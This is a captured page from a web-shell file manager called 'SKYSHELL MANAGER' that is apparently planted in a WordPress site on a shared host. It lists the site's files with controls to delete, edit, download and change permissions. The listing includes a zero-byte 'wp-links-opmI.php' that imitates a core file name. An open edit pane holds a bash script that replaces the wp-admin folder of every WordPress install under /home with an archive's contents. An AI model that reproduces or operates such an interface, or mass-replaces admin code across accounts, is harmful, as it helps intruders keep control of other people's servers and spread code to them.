📁
SKYSHELL MANAGER
PHP v8.3.31
Create
Create
Path:
root
/
home
/
firadelllibrepro
/
alsahwanet.net
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0555
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.78 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.htaccess.bak.20250916123008
0.89 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
403.shtml
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
404.shtml
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
500.shtml
0.24 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
cp_errordocument.shtml
10.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
0.4 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
license.txt
19.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.181cd17672105da14ef50304b037da0e.html
7.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.2 KB
0664
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt.bak
0.05 KB
0664
🗑️
🏷️
⬇️
✏️
🔒
📄
wordfence-waf.php
0.32 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
7.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.34 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config-sample.php
3.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php
3.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
5.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opmI.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
3.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-login.php
50.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
8.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
31.88 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-signup.php
33.81 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-trackback.php
5.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
3.13 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: replace_plugin.sh
#!/bin/bash # Script to replace wp-admin folder in WordPress installs # Supports: rollback, logging, dry-run, single account, single domain # Includes safety checks and restricted search depth ADMIN_ZIP="/home/admin.zip" LOGFILE="/home/wp-admin-replace.log" DRYRUN=false TARGET="" # Help menu usage() { echo "Usage: $0 [--dry-run] [--account ACCOUNT] [--domain DOMAIN_PATH]" echo "" echo "Options:" echo " --dry-run Run without making changes (simulate actions)" echo " --account NAME Limit to a single account under /home (e.g. account1)" echo " --domain PATH Limit to a single domain path (e.g. /home/account1/public_html)" exit 1 } # Parse arguments while [[ $# -gt 0 ]]; do case "$1" in --dry-run) DRYRUN=true ;; --account) shift [ -z "$1" ] && usage TARGET="/home/$1" ;; --domain) shift [ -z "$1" ] && usage TARGET="$1" ;; *) usage ;; esac shift done # Set log header if $DRYRUN; then echo "========== DRY RUN at $(date) ==========" >> "$LOGFILE" echo "Running in DRY RUN mode (no changes will be made)" else echo "========== Starting run at $(date) ==========" >> "$LOGFILE" fi # Function to log and optionally run commands run_cmd() { local cmd="$1" local msg="$2" if $DRYRUN; then echo "[DRYRUN] $msg" echo "[DRYRUN] $msg" >> "$LOGFILE" else eval "$cmd" if [ $? -eq 0 ]; then echo "[OK] $msg" echo "[OK] $msg" >> "$LOGFILE" else echo "[ERROR] $msg" echo "[ERROR] $msg" >> "$LOGFILE" fi fi } # Build search scope if [ -n "$TARGET" ]; then SEARCH_PATH="$TARGET" else SEARCH_PATH="/home" fi # Find WordPress installs by wp-config.php (limit depth for safety) find "$SEARCH_PATH" -path "/home/virtfs" -prune -o -maxdepth 3 -type f -name "wp-config.php" -print0 | while IFS= read -r -d '' wpconf; do root="${wpconf%/*}" # WordPress root dir # Safety check: Must have wp-admin folder if [ ! -d "$root/wp-admin" ]; then echo "[SKIP] $root does not contain wp-admin, skipping..." echo "[SKIP] $root missing wp-admin" >> "$LOGFILE" continue fi echo "Processing $root" echo "[INFO] Processing $root" >> "$LOGFILE" # Rename wp-admin run_cmd "mv \"$root/wp-admin\" \"$root/wp-admin.old\"" "Renamed wp-admin to wp-admin.old in $root" # Copy admin.zip run_cmd "cp \"$ADMIN_ZIP\" \"$root/\"" "Copied admin.zip to $root" # Extract admin.zip if $DRYRUN; then echo "[DRYRUN] Would unzip admin.zip into $root" echo "[DRYRUN] Would unzip admin.zip into $root" >> "$LOGFILE" else unzip -o "$root/admin.zip" -d "$root/" >/dev/null 2>&1 if [ $? -eq 0 ]; then echo "[OK] Extracted admin.zip successfully in $root" echo "[OK] Extracted admin.zip successfully in $root" >> "$LOGFILE" rm -f "$root/admin.zip" else echo "[ERROR] Failed to extract admin.zip in $root" echo "[ERROR] Failed to extract admin.zip in $root" >> "$LOGFILE" echo "Rolling back..." rm -rf "$root/wp-admin" if [ -d "$root/wp-admin.old" ]; then run_cmd "mv \"$root/wp-admin.old\" \"$root/wp-admin\"" "Restored original wp-admin in $root" fi rm -f "$root/admin.zip" continue fi fi echo "Done with $root" echo "[DONE] Completed $root" >> "$LOGFILE" echo "-------------------------------" done if $DRYRUN; then echo "========== Finished DRY RUN at $(date) ==========" >> "$LOGFILE" else echo "========== Finished run at $(date) ==========" >> "$LOGFILE" fi
Save